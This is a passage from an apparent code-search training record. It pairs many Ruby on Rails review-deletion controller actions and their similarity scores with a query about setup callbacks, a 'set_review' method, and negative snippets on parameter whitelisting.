"def destroy\n @review.destroy\n respond_to do |format|\n format.html { redirect_to reviews_url, notice: 'Review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @review.destroy\n respond_to do |format|\n format.html { redirect_to reviews_url, notice: 'Review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @review = @place.reviews.find(params[:id])\n @review.destroy\n\n respond_to do |format|\n format.html { redirect_to reviews_url, notice: 'Review was successfully removed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @review.destroy\n respond_to do |format|\n format.html { redirect_to reviews_url, notice: \"レビューが削除されました\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @review = Review.find(params[:id])\n @review.destroy\n\n respond_to do |format|\n format.html { redirect_to(review_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @review.destroy\n respond_to do |format|\n format.html { redirect_to restaurent_path(@restaurent.id),\n notice: \"Review was successfully destroyed\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @review.destroy\n\n head :no_content\n end",
"def destroy\n @review.destroy\n\n head :no_content\n end",
"def destroy\n @review.destroy\n\n head :no_content\n end",
"def destroy\n @review.destroy\n respond_to do |format|\n format.html { redirect_to reviews_url, notice: \"振り返りを削除しました。\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @review.destroy\n respond_to do |format|\n #If destroyed, it display the notice.\n format.html { redirect_to reviews_url, notice: t('review.destroy') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @review.destroy\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end",
"def destroy\n @review = Review.find(params[:id])\n @review.destroy\n respond_to do |format|\n format.html { redirect_to @review.lecture, notice: 'Review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @review = @post.reviews.where(user_id: current_user.id).find(params[:id])\n @review.destroy\n respond_with @post, @review, location: post_path(@post, anchor: \"reviews\")\n end",
"def destroy\n @review.destroy\n respond_to do |format|\n format.html { redirect_to publication_reviews_url, notice: 'Review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n authorize! :destroy, ReviewsController\n @review = Review.find(params[:id])\n if @review\n @review.destroy\n flash[:success] = 'Запись была успешно удалена!'\n else\n flash[:error] = 'Запись не найдена.'\n end\n\n respond_to do |format|\n format.html { redirect_to reviews_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book_review = BookReview.find(params[:id])\n @book_review.destroy\n\n respond_to do |format|\n format.html { redirect_to book_reviews_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @review.destroy\n respond_to do |format|\n format.html { redirect_to project_path(@project), notice: 'Review was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n\t\t@review = Review.find(params[:id])\n\t\[email protected]\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to(reviews_url) }\n\t\t\tformat.xml { head :ok }\n\t\tend\n\tend",
"def destroy\n @review = find_review\n @review.destroy\n redirect_to reviews_path\n end",
"def destroy\n @first_review.destroy\n respond_to do |format|\n format.html { redirect_to first_reviews_url, notice: 'First review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @review.destroy\n respond_to do |format|\n format.html { redirect_to dashboard_show_path, notice: 'Review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reviews_and_rating.destroy\n respond_to do |format|\n format.html { redirect_to reviews_and_ratings_url, notice: 'Reviews and rating was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item_review.destroy\n respond_to do |format|\n format.html { redirect_to item_reviews_url, notice: 'Item review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @review = Review.find params[:id]\n @review.destroy\n redirect_to :back\n end",
"def destroy\n @review.destroy\n respond_to do |format|\n format.html { redirect_to @book, notice: 'Review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_review = UserReview.find(params[:id])\n @user_review.destroy\n\n respond_to do |format|\n format.html { redirect_to(user_reviews_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @review.destroy\n redirect_to root_url\n end",
"def destroy\n @review = Review.find(params[:id])\n @review.destroy\n flash[:notice] = \"This review was successfully deleted!\"\n redirect_to root_path\n end",
"def destroy\n @shop_review.destroy\n respond_to do |format|\n format.html { redirect_to shop_reviews_url, notice: '가게 리뷰가 삭제되었습니다.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @restaurant_review.destroy\n respond_to do |format|\n format.html { redirect_to restaurant_reviews_url, notice: 'Restaurant review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @visitor_review.destroy\n respond_to do |format|\n format.html { redirect_to visitor_reviews_url, notice: 'Visitor review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fourth_review.destroy\n respond_to do |format|\n format.html { redirect_to fourth_reviews_url, notice: 'Fourth review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @device_review.destroy\n respond_to do |format|\n format.html { redirect_to device_reviews_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_review.destroy\n respond_to do |format|\n format.html { redirect_to admin_reviews_url, notice: 'Review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @auditreview.destroy\n respond_to do |format|\n format.html { redirect_to auditreviews_url, notice: 'Auditreview was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reviewer = Reviewer.find(params[:id])\n @reviewer.destroy\n\n respond_to do |format|\n format.html { redirect_to reviewers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n\t\t@review = Review.find(params[:id])\n\t\[email protected]\n\t\tredirect_to share_reviews_path(@share), notice: \"Review successfully deleted!\"\t\t\n\tend",
"def destroy\n @critic_review.destroy\n respond_to do |format|\n format.html { redirect_to critic_reviews_url, notice: 'Critic review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @review.destroy\n end",
"def destroy\n @blade_review.destroy\n respond_to do |format|\n format.html { redirect_to blade_reviews_url, notice: 'Blade review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @review = Review.find(params[:id]) # param comes from route\n @review.destroy\n\n redirect_to restaurant_path(@restaurant.id)\n end",
"def destroy\n @food_review.destroy\n respond_to do |format|\n format.html { redirect_to food_reviews_url, notice: 'Food review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @hm_review.destroy\n respond_to do |format|\n format.html { redirect_to hm_reviews_url, notice: 'Hm review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = current_user\n @review_like = ReviewLike.find(params[:id]).delete\n render json: { msg: \"Delete Successful\" }\n end",
"def destroy\n @boo_k_review.destroy\n respond_to do |format|\n format.html { redirect_to boo_k_reviews_url, notice: 'Boo k review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_review.destroy\n respond_to do |format|\n format.html { redirect_to user_reviews_url, notice: 'User review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @review = Product.find(params[:product_id]).reviews.find(params[:id])\n @review.destroy\n redirect_to :back\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n if user_signed_in? && current_user.admin?\n @new_review = NewReview.find(params[:id])\n @new_review.destroy\n\n respond_to do |format|\n format.html { redirect_to new_reviews_url }\n format.json { head :no_content }\n end\n else\n redirect_to root_path\n end\n end",
"def destroy\n @review_template.destroy\n respond_to do |format|\n format.html { redirect_to review_templates_url }\n format.json { head :no_content }\n end\n end",
"def delete_user\n delete_reviews(self)\n self.destroy\n end",
"def destroy\n @review.destroy\n respond_to do |format|\n format.html { redirect_to categories_url, notice: 'レビューの削除完了です！' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @review_count.destroy\n respond_to do |format|\n format.html { redirect_to review_counts_url, notice: 'Review count was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tour_review.destroy\n respond_to do |format|\n format.html { redirect_to tour_reviews_url, notice: 'ツアーレビューは正常に削除されました。' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bollywood_review = BollywoodReview.find(params[:id])\n @bollywood_review.destroy\n\n respond_to do |format|\n format.html { redirect_to bollywood_reviews_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n Review.destory(params[:id])\nend",
"def destroy\n @review.destroy\n respond_to do |format|\n # Broadcast remove review on list from model.\n format.turbo_stream { render turbo_stream: \"\" }\n format.html { redirect_to recipe_path(@recipe, anchor: \"reviews_header\"), notice: 'Review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @thesis_review = ThesisReview.find(params[:id])\n @thesis_review.destroy\n\n respond_to do |format|\n format.html { redirect_to(thesis_reviews_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n\t\t@book_review = BookReview.find(params[:id])\n\t\t@book_review.destroy\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to book_reviews_url }\n\t\t\tformat.json { head :ok }\n\t\tend\n\tend",
"def destroy\n @admin_nature_of_review.destroy\n respond_to do |format|\n format.html { redirect_to admin_nature_of_reviews_url, notice: 'Nature of review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @review_image = ReviewImage.find(params[:id])\n @review_image.destroy\n\n respond_to do |format|\n format.html { redirect_to review_images_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @hospital = Hospital.find(params[:hospital_id])\n @review = @hospital.reviews.find(params[:id])\n @review.destroy\n respond_to do |format|\n flash[:success] = \"삭제 성공\"\n format.html { redirect_to @hospital }\n format.json { head :no_content }\n end\n end",
"def destroy\n\n @product = Product.find(params[:product_id])\n @revoew = @product.reviews.find(params[:id])\n @review.destroy\n\n redirect_to product_path(@product)\n\n end",
"def destroy\n @evenreview.destroy\n respond_to do |format|\n format.html { redirect_to evenreviews_url, notice: 'Evenreview was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:project_id])\n @review = @project.reviews.find(params[:id])\n @paths = @review.file\n @line = @review.line\n @review.destroy\n\n respond_to do |format|\n # format.html { redirect_to blob_project_path(@project, 'blob', @paths) }\n format.html { redirect_to line_project_path(@project, 'line', @paths, @line) }\n # format.js { @reviews = @project.reviews_by_line(@paths, @line).paginate(page: params[:page], per_page: 20) }\n format.js { @reviews = Review.with_project(@project).with_file(@paths).with_line(@line).paginate(page: params[:page], per_page: 20) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @review.destroy\n respond_to do |format|\n format.html { redirect_to places_url, notice: 'Review was successfully destroyed.' }\n end\n end",
"def destroy\n unless current_user.is_review_moderator?\n redirect_to denied_path\n return\n end\n\n @review = Review.find(params[:id])\n @review.destroy\n\n respond_to do |format|\n format.html { redirect_to(reviews_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @rating.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @review.destroy\n respond_to do |format|\n @reservation.reviwed = false\n @reservation.save\n format.html { redirect_to listings_url, notice: 'Review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @event_review.destroy\n respond_to do |format|\n format.html { redirect_to event_reviews_url, notice: 'Event review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reviewable_object = current_user.reviewable_objects.find(params[:id])\n @reviewable_object.destroy\n\n respond_to do |format|\n format.html { redirect_to reviewable_objects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n vendor = @review.vendor\n user = @review.user\n @review.destroy\n vendor.save # para atualizar o number_reviews\n\n respond_to do |format|\n format.html { redirect_to vendor_path(vendor, view: \"recomendacoes\") }\n format.json { head :ok }\n end\n end",
"def destroy\n @bookreview.destroy\n respond_to do |format|\n format.html { redirect_to book_path(@bookreview.book_id) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bizowners_review.destroy\n respond_to do |format|\n format.html { redirect_to bizowners_reviews_url, notice: 'Bizowners review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @review.destroy\n respond_to do |format|\n\t format.js\n format.html { redirect_to reviews_url, notice: 'Review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end"
] |
[
"0.7832335",
"0.77927166",
"0.77836365",
"0.77720547",
"0.77720547",
"0.77720547",
"0.77720547",
"0.77720547",
"0.76754755",
"0.7674994",
"0.76527554",
"0.76527554",
"0.76527554",
"0.7640212",
"0.74983084",
"0.74983084",
"0.74714994",
"0.7413043",
"0.7410794",
"0.7410794",
"0.7410794",
"0.7410794",
"0.7410794",
"0.7410794",
"0.7410794",
"0.7410794",
"0.7390684",
"0.73763734",
"0.73696494",
"0.73691547",
"0.7353764",
"0.7353764",
"0.7353764",
"0.7319019",
"0.73109835",
"0.7304463",
"0.72848016",
"0.724016",
"0.7237974",
"0.72334176",
"0.7219162",
"0.72136986",
"0.71974653",
"0.7191232",
"0.7175263",
"0.71464664",
"0.71269107",
"0.71267986",
"0.7113943",
"0.7109857",
"0.7096405",
"0.70822024",
"0.7078725",
"0.70746994",
"0.7070294",
"0.7058746",
"0.705282",
"0.70398444",
"0.7038485",
"0.7027824",
"0.70203054",
"0.7018018",
"0.7016277",
"0.7007696",
"0.700717",
"0.70023894",
"0.69903564",
"0.6978581",
"0.6974275",
"0.69536436",
"0.6948836",
"0.6943499",
"0.6920781",
"0.6911533",
"0.69111025",
"0.69041705",
"0.68915516",
"0.6871942",
"0.686158",
"0.6860107",
"0.6853278",
"0.68318707",
"0.6828124",
"0.6824433",
"0.68065214",
"0.68042606",
"0.67943054",
"0.6779672",
"0.6767343",
"0.6738198",
"0.6728972",
"0.67105097",
"0.67097855",
"0.66888463",
"0.66770744",
"0.6656092",
"0.6651857",
"0.6646901",
"0.66456157",
"0.66396165"
] |
0.6650371
|
97
|
Use callbacks to share common setup or constraints between actions.
|
def set_review
@review = Review.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def review_params
params.require(:review).permit(:heading, :review, :book_id, :user_id, :status, :cover_page)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
